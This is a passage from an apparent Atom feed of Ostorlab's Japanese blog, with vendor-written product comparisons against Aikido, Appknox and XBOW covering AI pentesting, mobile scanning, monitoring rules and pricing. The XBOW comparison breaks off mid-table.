&lt;p&gt;開発者のワークフローは、現代のデプロイのスピードに見合っていなければなりません。開発者がホットフィックスをプッシュしたとき、パッチが成功したかどうかを知るためにパイプラインのフルリスキャンを何時間も待つことはできません。Ostorlabは&lt;a href="Ostorlab-launches-Single-Vulnerability-Assessment-and-Dig-Deeper.html"&gt;Single Vulnerability Assessment（SVA）&lt;/a&gt;を提供しており、エンジニアリングチームは特定の一つのホットフィックスを稼働中のアプリケーションに対して数分で検証でき、高速で摩擦の少ない修復ループを実現できます。Aikidoも、過去6か月以内に開始された評価について、修正後に&lt;a href="https://help.aikido.dev/pentests/coverage-and-findings/retest-pentest-findings"&gt;ペンテストの単一の検出結果を再テスト&lt;/a&gt;します。&lt;/p&gt;
&lt;h2 id="faq"&gt;FAQ&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Aikidoはモバイルアプリをテストしますか？&lt;/strong&gt;
Aikidoは、Swift、Kotlin、Dartを含むモバイルのソースコードに対するSASTとSCA、そしてアプリのソースコードを必要とするホワイトボックス型のAndroidペンテストをサポートしています。iOSのペンテストは近日公開と記載されています。Ostorlabは、コンパイル済みのAndroidアプリとiOSアプリをソースコードなしでテストします。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ostorlabはクラウドセキュリティ態勢管理（CSPM）を行いますか？&lt;/strong&gt;
いいえ。Ostorlabはアプリケーションセキュリティおよびペンテストのプラットフォームです。CSPMやコンテナスキャンには、Aikidoのほうが適しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AikidoはBYOK（Bring Your Own Key）を提供していますか？&lt;/strong&gt;
Aikidoのページ（2026年10月6日確認）ではBYOKのオプションは見つかりませんでした。AikidoのAI機能は&lt;a href="https://help.aikido.dev/ai-and-dev-tools/how-aikido-uses-ai"&gt;AWS Bedrockでホストされたモデル&lt;/a&gt;を使用し、オンプレミスの&lt;a href="https://www.aikido.dev/attack/aikido-machine"&gt;Aikido Machine&lt;/a&gt;は独自のモデルを実行します。Ostorlabは、OpenAI、Anthropic、Google Vertexを含め、自社のAIプロバイダーのキーの接続をサポートしています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Aikido AttackとOstorlabの&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan"&gt;Agentic Deep Scan&lt;/a&gt;の違いは何ですか？&lt;/strong&gt;
どちらも本物の自律型ペンテストエージェントです。Aikido Attackは、WebアプリとAPI、そして2026年8月26日からはホワイトボックス型のAndroidアプリをテストします。Ostorlabのエンジンは、より複雑で混沌としたコンパイル済みモバイルアプリのステートマシンのために最初に構築され、その同じナビゲーション能力が現在ではWebのSPA、SSO、複数ステップのビジネスロジックにまで広がっています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ostorlabは、ソースコードリポジトリに接続せずにアプリをテストできますか？&lt;/strong&gt;
はい。Ostorlabは、地域限定のバリアントを含め、バンドルIDによってApp StoreまたはGoogle Playからアプリを直接取得でき、リポジトリ連携は必要ありません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ostorlabは単一のバグ修正をどのように検証しますか？&lt;/strong&gt;
&lt;a href="Ostorlab-launches-Single-Vulnerability-Assessment-and-Dig-Deeper.html"&gt;Single Vulnerability Assessment（SVA）&lt;/a&gt;は、パイプラインのフルリスキャンを必要とせずに、一つのホットフィックスを稼働中のアプリケーションに対して数分で検証します。&lt;/p&gt;
&lt;h2 id="本比較の制限事項"&gt;本比較の制限事項&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;ベンダーの機能、価格、ドキュメントは頻繁に変わります。Aikidoに関する詳細は、2026年8月3日以降に変わっている可能性があります。&lt;/li&gt;
&lt;li&gt;本記事のために、検出率、誤検知率、スキャン速度に関する独立したベンチマークは実施していません。&lt;/li&gt;
&lt;li&gt;本記事は、Aikidoの実地テストについて報告するものではありません。Aikidoに関する記述は同社の公開資料を、Ostorlabに関する記述はOstorlab自身の製品ドキュメントを反映しています。&lt;/li&gt;
&lt;li&gt;現在の機能、価格、導入オプションは各ベンダーに直接確認してください。理想的には、自社のアプリケーションに対して両方のプラットフォームをテストしてください。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="結論"&gt;結論&lt;/h2&gt;
&lt;p&gt;これらのプラットフォームのどちらを選ぶかは、中核的なリスクがどこにあるかで決まります。主な焦点がクラウドインフラの防御、Kubernetesの態勢管理、リポジトリの依存関係をクリーンに保つことであれば、Aikidoは優れたプラットフォームです。最も重要な資産がアプリケーションスタックそのもの、つまり複雑なWebのSPA、連鎖するAPI、コンパイル済みのモバイルアプリであれば、より深いエンジンが必要です。Ostorlabは、現代のアプリケーションの最も難しい部分を保護するために必要な、自律的なUIナビゲーション、実環境での実証の生成、厳格なBYOKによるプライバシー制御を提供します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ご自身で確かめてください&lt;/strong&gt;：自社のWebアプリケーションやモバイルアプリケーションに対して&lt;a href="https://report.ostorlab.co/scan/new"&gt;Agentic Deep Scanを実行&lt;/a&gt;し、深さの違いを確認してください。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;すでにAikidoをお使いですか？&lt;/strong&gt; &lt;a href="https://ostorlab.co/bake-off"&gt;同じアプリでOstorlabとAikidoを比較&lt;/a&gt;してください。同じ対象、同じ時間枠で比較します。検出結果は、自社チームが再現できた場合にのみカウントされます。&lt;/p&gt;</content><category term="Security"/><category term="Security"/><category term="Comparison"/><category term="AppSec"/></entry><entry><title>Ostorlab vs Appknox：事実関係を正す</title><link href="https://blog.ostorlab.co/ja/ostorlab-vs-appknox.html" rel="alternate"/><published>2026-07-29T14:00:00+02:00</published><updated>2026-10-02T18:00:00+02:00</updated><author><name>Bilal HARRAS</name></author><id>tag:blog.ostorlab.co,2026-07-29:/ja/ostorlab-vs-appknox.html</id><summary type="html">&lt;p&gt;Appknoxの「Top 10 MAST Tools」リストにOstorlabが回答します。誤っていた点、KnoxIQとAgentic Deep Scanの違い、フルスタックのカバレッジ、デプロイと価格について解説します。&lt;/p&gt;</summary><content type="html">&lt;h1 id="appknoxがostorlabを比較しました。見落とされていた点をお伝えします。"&gt;&lt;strong&gt;AppknoxがOstorlabを比較しました。見落とされていた点をお伝えします。&lt;/strong&gt;&lt;/h1&gt;
&lt;p&gt;Appknoxは最近、&lt;a href="https://www.appknox.com/blog/best-mast-tools" rel="nofollow" target="_blank"&gt;「Top 10 MAST Tools in 2026」&lt;/a&gt;という比較記事を公開しました。残念ながら、Ostorlabに対する評価、そしてこの分野のほかのベンダーの扱い方は、大部分が不正確で、事実と異なるものでした。その比較表では、Ostorlabについていくつかの主要な機能の列に「No」と記載されています。 &lt;/p&gt;
&lt;p&gt;この記事の目的は、現在提供中でドキュメント化されている機能に基づいて、実際の比較をお示しすることです。 &lt;/p&gt;
&lt;h3 id="この比較について"&gt;&lt;strong&gt;この比較について&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;この比較は、ここで比較しているOstorlabプラットフォームを開発・販売するOstorlabが公開しています。Appknoxに関する記述は、Appknoxの公開Webサイト、KnoxIQのローンチ資料、そしてリンク先の「Top 10 MAST Tools in 2026」の記事に基づいています。Ostorlabに関する記述は、Ostorlab自身の製品ドキュメントに基づいています。その他のベンダーに関する情報は、2026年7月29日時点の各社の公開Webサイトとドキュメントを反映したものです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;評価基準&lt;/strong&gt;：Appknoxの記事で挙げられたOstorlabの4つの機能の欠落（統合されたペンテスト、アプリストアの監視、AIによる悪用可能性の優先順位付け、セキュリティプログラムのワークフロー）、KnoxIQとAgentic Deep Scanの比較（機能、入力、到達できる上限、提供形態）、モバイル以外のプラットフォームのカバレッジ、スキャンプロファイルと連携、そしてデプロイと価格です。&lt;/p&gt;
&lt;h3 id="事実関係を正す"&gt;&lt;strong&gt;事実関係を正す&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;その比較表には、Ostorlabの具体的な機能の欠落が挙げられています。以下が、現在実際に提供している内容です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主張1：「統合されたペンテストがない」&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ostorlabは従来型の静的スキャナーにとどまりません。脆弱性を能動的に悪用するよう設計された自律型AIペンテスターであるAgentic Deep Scanによって駆動されています。これは静的なチェックを超え、統合された多段階のペンテストにまで踏み込みます。たとえば、最近の&lt;a href="https://blog.ostorlab.co/how-ai-catches-complex-vulnerabilities-agentic-pentesting-exploit-chaining.html"&gt;ドキュメント化されたケーススタディ&lt;/a&gt;では、Agentic Deep Scanがハードコードされたマシン間（M2M）通信用のAuth0認証情報を発見しました。スキャナーのように漏えいを単に指摘するのではなく、エージェントはその認証情報の認可の範囲を自律的にマッピングしました。そして、スコープが限定された&lt;code&gt;read:TSC&lt;/code&gt;トークンからテナントのAuth0 Management APIへのアクセスにまで権限を昇格させることに成功し、1,000件のレコードを含むユーザーディレクトリを抽出し、潜在していた管理者スコープを明らかにしました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主張2：「アプリストアの監視がない」&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ostorlabは、App Store、Google Play Store、TestFlightの継続的な監視を提供しています。さらに、プラットフォームはネイティブの国選択機能によって、手作業で入手することなく地域限定のバリアントを取得できるように構築されています。 &lt;/p&gt;
&lt;p&gt;Ostorlabでは、変更を検出するだけでなく、カスタムの監視ルールを設定してセキュリティワークフローを自動化できます。これらのルールはプラットフォーム上で簡単に設定できます（設定方法のガイドについては、&lt;a href="https://docs.ostorlab.co/tutorials/create_monitoring_rule.html"&gt;製品ドキュメント&lt;/a&gt;をご覧ください）。監視ルールを設定すると役立つユースケースの例を以下に示します。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ユースケース&lt;/th&gt;
&lt;th&gt;トリガー&lt;/th&gt;
&lt;th&gt;アクション&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;新たなクリティカルの脆弱性&lt;/td&gt;
&lt;td&gt;スキャンでクリティカルの検出結果が現れる&lt;/td&gt;
&lt;td&gt;Slack通知を送信し、Jiraチケットを作成&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;リグレッションの検出&lt;/td&gt;
&lt;td&gt;以前に修正された脆弱性が再び現れる&lt;/td&gt;
&lt;td&gt;アプリケーションのオーナーに即座に通知&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;コンプライアンスの監視&lt;/td&gt;
&lt;td&gt;アプリがMASVSへの準拠を失う&lt;/td&gt;
&lt;td&gt;コンプライアンスのチケットを起票&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;公開アプリの監視&lt;/td&gt;
&lt;td&gt;Google Play/App Storeに新しいバージョンが公開される&lt;/td&gt;
&lt;td&gt;自動的にスキャンを開始&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;サードパーティSDKのリスク&lt;/td&gt;
&lt;td&gt;脆弱なSDKが検出される&lt;/td&gt;
&lt;td&gt;セキュリティチームに警告し、修復を割り当て&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;経営層への可視化&lt;/td&gt;
&lt;td&gt;クリティカルな問題が30日を超えて未解決のまま&lt;/td&gt;
&lt;td&gt;CISOまたはマネージャーにエスカレーション&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;監視ルールの設定が実際にどのように機能するか気になりますか。以下の短いチュートリアル動画をご覧ください。&lt;/p&gt;
&lt;div style="margin: 2.5rem 0; text-align: center;"&gt;
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="" frameborder="0" height="450" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/aAGsg8BjfxY" style="max-width: 100%;" title="監視ルールの作成方法" width="800"&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;主張3：「AIによる悪用可能性の優先順位付けがない」&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ostorlabは、静的解析、動的テスト、そしてAIによる能動的な悪用を組み合わせたハイブリッドなアプローチを採用しています。悪用可能性は、静的な出力をふるいにかけるために後付けで適用されるのではなく、自律的な再現を通じてスキャンそのものの中で検証されます。Agentic Deep Scanとプラットフォームの機能について詳しくは、こちらの動画をご覧ください。&lt;/p&gt;
&lt;div style="margin: 2.5rem 0; text-align: center;"&gt;
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="" frameborder="0" height="450" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/zrZf0Gwop4M" style="max-width: 100%;" title="Ostorlabプラットフォームのウォークスルー：エージェント型への進化" width="800"&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;主張4：「セキュリティプログラムではなく、スキャンプラットフォームにすぎない」&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;堅牢なセキュリティプログラムには、検出が行われた後の精密なワークフローが必要ですが、一般的なスキャナーはクローズドループの修復やアセットの検出を行いません。Ostorlabは、リスクのライフサイクル全体を管理するための具体的なプログラム機能を提供しています。これには次のものが含まれます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;対象を絞った再テストのための&lt;strong&gt;&lt;a href="https://blog.ostorlab.co/Ostorlab-launches-Single-Vulnerability-Assessment-and-Dig-Deeper.html"&gt;Single Vulnerability Assessment（SVA）&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;根本原因を調査するための&lt;strong&gt;&lt;a href="https://ostorlab.co/product/dig_deeper_web"&gt;Dig Deeper&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;迅速なクローズドループのパッチ適用のための&lt;strong&gt;&lt;a href="https://ostorlab.co/product/autofix"&gt;ワンクリック修復&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;継続的なアセット検出のための&lt;strong&gt;&lt;a href="https://ostorlab.co/product/attacksurface_discovery"&gt;アタックサーフェス管理（ASM）&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;サードパーティのリスクを評価するための&lt;strong&gt;&lt;a href="https://ostorlab.co/product/app_vetting"&gt;アプリベッティング&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;物理端末上で実行時の保護を検証するための&lt;strong&gt;&lt;a href="https://ostorlab.co/product/mobile_shielding"&gt;Mobile Shielding Scan&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最近プラットフォームに追加したエキサイティングな機能をすべて確認するには、&lt;a href="https://blog.ostorlab.co/changelog.html"&gt;Changelog&lt;/a&gt;をご覧ください。&lt;/p&gt;
&lt;h3 id="彼ら自身のマーケティングが投げかける問い"&gt;&lt;strong&gt;彼ら自身のマーケティングが投げかける問い&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Appknoxは新機能KnoxIQのローンチにあたり、今日のセキュリティチームが直面する課題を「脆弱性が多すぎる。本当の優先順位がない。」と表現しました。そして、業界全体の誤検知（フォールスポジティブ）率として約30%という数字を挙げています。&lt;/p&gt;
&lt;p&gt;これが暗に認めていることに注目する価値があります。従来型スキャナー（Appknoxが販売してきた中核カテゴリ）の生の出力は、二次的なAI検証レイヤーなしでは開発者にとって十分に信頼できるものではない、ということです。 &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;対照的に、Ostorlabの検証は、問題を発見するのとまったく同じエンジンの中で行われます。スキャン中に悪用可能であると実証できない限り項目は報告されないため、別個のトリアージ製品は必要ありません。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="knoxiqとagentic deep scan:技術的な違い"&gt;&lt;strong&gt;KnoxIQとAgentic Deep Scan：技術的な違い&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;はっきりさせておくと、KnoxIQ（2026年4月にローンチ）は正当なツールです。アプリケーションを逆コンパイルし、エクスプロイトを相互参照し、検出された脆弱性に対するパッチを提案します。しかし、トリアージレイヤーとエージェント型エンジンの間には、アーキテクチャ上の根本的な隔たりがあります。 &lt;/p&gt;
&lt;p&gt;KnoxIQは、スキャナーがすでに静的に発見した脆弱性に対するトリアージと検証のレイヤーとして機能します。Agentic Deep Scanは、稼働中の認証済みアプリケーションをテストし、静的スキャナーが本質的に見逃す複雑な問題を発見する能動的な悪用エンジンです。さらに、従来の動的テストでは、カバレッジを確保するためにユーザーが手動でアプリケーションを操作する必要があることが多いのに対し、Ostorlabは、UIを自律的に操作して複雑な状態要素とやり取りするインテリジェントなモンキーテスターを採用しており、人手を介さずに深い動的カバレッジを確保します。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;機能&lt;/th&gt;
&lt;th style="text-align: left;"&gt;KnoxIQ（Appknox）&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Agentic Deep Scan（Ostorlab）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;役割&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;トリアージと検証のレイヤー&lt;/td&gt;
&lt;td style="text-align: left;"&gt;能動的な悪用とペンテストのエンジン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;入力&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;静的スキャンの検出結果&lt;/td&gt;
&lt;td style="text-align: left;"&gt;稼働中の認証済みアプリケーション&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;到達できる上限&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;逆コンパイルと静的な相互参照&lt;/td&gt;
&lt;td style="text-align: left;"&gt;動的な多段階のエクスプロイトチェーン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;提供形態&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;事後にパッチを提案&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ワンクリックですぐにマージできるPRによる修正を、稼働中のアプリで検証済みの状態で提供&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="モバイルにとどまらないフルスタックのカバレッジ"&gt;&lt;strong&gt;モバイルにとどまらないフルスタックのカバレッジ&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Appknoxはモバイルアプリと&lt;a href="https://www.appknox.com/vulnerability-assessment"&gt;その背後にあるAPI&lt;/a&gt;をテストします。&lt;a href="https://www.appknox.com/blog/appknox-mobile-app-security-tech-stack-integration"&gt;同社のブログ&lt;/a&gt;によれば、Webアプリケーションやソースコードはテストしません。現代のアタックサーフェスが単一のプラットフォームに限定されることはまれです。Ostorlabは、Mobile、Web、API、Source Code（Git連携経由）を、一つのエージェントと一つの価格モデルのもとで扱う統合プラットフォームとして構築されています。Ostorlabは常にiOSとAndroidの最新バージョンに即座に対応しており、従来のモバイルテストツールをしばしば制約するOSバージョンの制限や対応の遅れを回避しています。&lt;/p&gt;
&lt;h3 id="柔軟性:スキャンプロファイルと連携"&gt;&lt;strong&gt;柔軟性：スキャンプロファイルと連携&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Ostorlabは、用途に合わせた複数のスキャンプロファイル（CI/CD向けのFast Scan、Privacy、Mobile Shielding、SAST/DAST、そしてフルのAgentic）をサポートしています。&lt;/li&gt;
&lt;li&gt;Ostorlabは、GitHub、GitLab、Azure DevOps、Bitbucket、Jira、Slack、Jenkinsと連携します。Appknoxも&lt;a href="https://www.appknox.com/blog/appknox-mobile-app-security-tech-stack-integration"&gt;Jira、ServiceNow、Slack、そして大半のCIシステム&lt;/a&gt;を挙げています。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="デプロイと価格"&gt;&lt;strong&gt;デプロイと価格&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Ostorlabは、米国、EU、サウジアラビア（KSA）のクラウドリージョンへのデプロイに加え、オンプレミスでのインストールにも対応しています。 &lt;/p&gt;
&lt;p&gt;価格モデルは利用量ベースのトークンウォレットで運用されており、未使用のトークンはスキャン終了時に自動的に返却されます。また、チームメンバーのシートは無制限で無料です。当社の価格は完全に透明であり、詳細はすべて&lt;a href="https://ostorlab.co/plans"&gt;料金ページ&lt;/a&gt;で直接ご確認いただけます。 &lt;/p&gt;
&lt;p&gt;&lt;em&gt;2026年10月1日更新：返却の対象は未使用のトークンであり、スキャン終了時に返却されることを明確にしました。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;2026年10月2日更新：Appknoxの対象範囲と連携に関する記述を修正しました。AppknoxはAPIもテストし、Jira、ServiceNow、Slack、そして大半のCIシステムを挙げています。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Ostorlabによく付けられる「フリーミアム」というラベルは、実際には当社の&lt;a href="https://github.com/Ostorlab/oxo"&gt;OXO&lt;/a&gt;オープンソースプロジェクトとCommunityプランを指しています。このプランは恒久的に無料で、Fast Scanを無制限に利用できます。Fast Scanは、開発サイクルの中で素早いフィードバックを得るために最適化された、軽量で高速な静的解析プロファイルです。Fast Scanには次のものが含まれます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;よくある設定ミスの迅速な特定&lt;/li&gt;
&lt;li&gt;ハードコードされたAPIキー、トークン、シークレットの検出&lt;/li&gt;
&lt;li&gt;ソースコードとバイトコードにおける脆弱なプログラミングパターンの分析&lt;/li&gt;
&lt;li&gt;サードパーティSDKを対象とした高速なソフトウェア構成分析（SCA）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="この比較の制約"&gt;&lt;strong&gt;この比較の制約&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;ベンダーの機能、価格、ドキュメントは頻繁に変わります。Appknoxに関する詳細は、2026年7月29日以降に変更されている可能性があります。&lt;/li&gt;
&lt;li&gt;この記事のために、検出率、誤検知率、スキャン速度の独立したベンチマークは実施していません。&lt;/li&gt;
&lt;li&gt;この記事は、Appknoxを実際にテストした結果を報告するものではありません。Appknoxに関する記述は同社の公開資料を、Ostorlabに関する記述はOstorlab自身の製品ドキュメントを反映しています。&lt;/li&gt;
&lt;li&gt;最新の機能、価格、デプロイの選択肢は、各ベンダーに直接確認してください。理想的には、両方のプラットフォームを自社のアプリケーションに対してテストすることをお勧めします。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="結論"&gt;&lt;strong&gt;結論&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;結局のところ、セキュリティプラットフォームの真の価値は、エンジニアリングチームをノイズで圧倒することなくリスクを低減できるかどうかで測られます。 &lt;/p&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan"&gt;Agentic Deep Scan&lt;/a&gt;は、エクスプロイトを連鎖させて実際のリスクを検証するために構築された自律型AIペンテスターです。従来型スキャナーとエージェント型ペンテストの違いを評価する最善の方法は、比較表を見ることではなく、実際にテストしてみることです。ぜひ自社のアプリケーションに対して&lt;a href="https://report.ostorlab.co/scan/new"&gt;Agentic Deep Scanを実行&lt;/a&gt;し、検出結果の深さをご自身で比較してみてください。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;すでにAppknoxをお使いですか。&lt;/strong&gt;&lt;a href="https://ostorlab.co/bake-off"&gt;同じアプリでOstorlabとAppknoxを比較&lt;/a&gt;してみてください。対象も時間枠も同じ条件です。検出結果は、自社のチームが再現できた場合にのみカウントされます。&lt;/p&gt;</content><category term="Security"/><category term="Security"/><category term="Comparison"/></entry><entry><title>XBOW vs Ostorlab：AIペンテストの比較</title><link href="https://blog.ostorlab.co/ja/ostorlab-vs-xbow.html" rel="alternate"/><published>2026-07-28T11:29:00+02:00</published><updated>2026-10-02T18:00:00+02:00</updated><author><name>Bilal HARRAS</name></author><id>tag:blog.ostorlab.co,2026-07-28:/ja/ostorlab-vs-xbow.html</id><summary type="html">&lt;p&gt;XBOWとOstorlabを、対象範囲の設定、モバイルとAPIのカバレッジ、アセットをまたいだエクスプロイトチェーン、CI/CDテスト、エビデンス、修復ワークフローの観点で比較します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;自律型のAIセキュリティテストプラットフォームは、悪用可能な脆弱性を決定論的な実証によって検証することで、従来のペネトレーションテストを補完し、あるいは置き換えることを目指しています。XBOWとOstorlabはいずれも、検証済みで実証に裏付けられた検出結果を伴うマシンスピードのテストに重点を置いていますが、両者は根本的に異なるスコープモデルに基づいて構築されています。&lt;/p&gt;
&lt;p&gt;XBOWは、インタラクティブなWebアプリケーションとそれを支えるAPIを対象とした、構造化された定期的な評価に特化しています。Ostorlabは、ネイティブモバイルアプリケーション（AndroidおよびiOS）、単体のAPIやクライアント向けAPI、ソースコードリポジトリ、接続されたバックエンドインフラストラクチャを評価するために設計された、マルチアセット対応のテストエンジンを提供しています。&lt;/p&gt;
&lt;h3 id="要点:ostorlab vs. xbow"&gt;要点：Ostorlab vs. XBOW&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;対象のカバレッジ&lt;/strong&gt;：OstorlabはAndroid（APK/AAB）、iOS（IPA）、Webアプリケーション、単体のAPI、ソースコードリポジトリ、ネットワークアセットをテストします。XBOWが公開している対象範囲は、インタラクティブなWebアプリケーションとそれを支えるAPIが中心です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アセットをまたいだエクスプロイトチェーン&lt;/strong&gt;：OstorlabのMulti-Asset Deep Agentic Scanは、接続されたアセット間で発見事項を相関させます（例：モバイルバイナリからAPIルートや認証情報を抽出し、バックエンドへのアクセスを探索する）。XBOWは、個々のWebアプリケーションの範囲内でのテストに重点を置いています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;開発者による修復&lt;/strong&gt;：Ostorlabは、プルリクエストによる自動パッチ（AutoFix）を生成し、クローズドループの検証再テストを行います。XBOWは、エクスプロイトの再現手順、緩和策のガイダンス、脆弱性の再テストを提供します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CI/CD連携&lt;/strong&gt;：Ostorlabは、GitHub Actions、GitLab CI、Jenkins向けの構築済みアクションに加え、アプリストアのリリースをトリガーとするスキャンを提供します。XBOWは、外部からの自動化のための公開REST APIを提供します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;価格とデプロイ&lt;/strong&gt;：Ostorlabは$499からのセルフサービスでのオンボーディングを提供し、Bring Your Own Key（BYOK）によるモデル選択とオンプレミスにも対応しています。XBOWは利用量と対象範囲に応じた価格設定で、価格は公開されていません。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="この比較について"&gt;この比較について&lt;/h2&gt;
&lt;p&gt;この比較は、ここで比較しているOstorlabプラットフォームを開発・販売するOstorlabが公開しています。XBOWに関する記述は、XBOWの公開Webサイトと、以下の表でリンクしているXBOWのドキュメントページに基づいています。Ostorlabに関する記述は、Ostorlab自身の製品ドキュメントに基づいています。その他のベンダーに関する情報は、2026年7月28日時点の各社の公開Webサイトとドキュメントを反映したものです。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;2026年10月2日更新：XBOWは2026年7月16日にPentest On-Demandの提供を終了したため、$4,000の価格を削除しました。XBOWの価格は現在、利用量に基づき、環境ごとに見積もられます（&lt;a href="https://xbow.com/pricing"&gt;XBOWの価格&lt;/a&gt;）。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;評価基準&lt;/strong&gt;：対象のカバレッジ（Webアプリケーション、API、モバイルアプリ、ソースコード、ネットワークアセット）、アセットをまたいだエクスプロイトチェーン、継続的テストおよびCI/CDをトリガーとするテスト、修復と再テストのワークフロー、マルチロールテスト、アタックサーフェス管理、実行時シールディングの検証、サードパーティアプリのリスクスコアリング、カバレッジの可視性、エクスプロイトの実証エビデンス、誤検知への対処、企業としての成熟度、価格、ホスティングとデータレジデンシー。&lt;/p&gt;
&lt;h2 id="比較の概要"&gt;比較の概要&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;機能&lt;/th&gt;
&lt;th&gt;XBOW&lt;/th&gt;
&lt;th&gt;Ostorlab&lt;/th&gt;
&lt;th&gt;重要な理由&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://ostorlab.co/product/web" rel="noopener noreferrer" target="_blank"&gt;Webアプリケーションのペンテスト&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;td&gt;両プラットフォームに共通する基本機能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://ostorlab.co/product/backend_api_network" rel="noopener noreferrer" target="_blank"&gt;APIのペンテスト&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;対応（&lt;a href="https://docs.xbow.com/console/guidance/choosing-targets/" rel="noopener noreferrer" target="_blank"&gt;インタラクティブなWebアプリケーション&lt;/a&gt;を支えるAPIが対象）&lt;/td&gt;
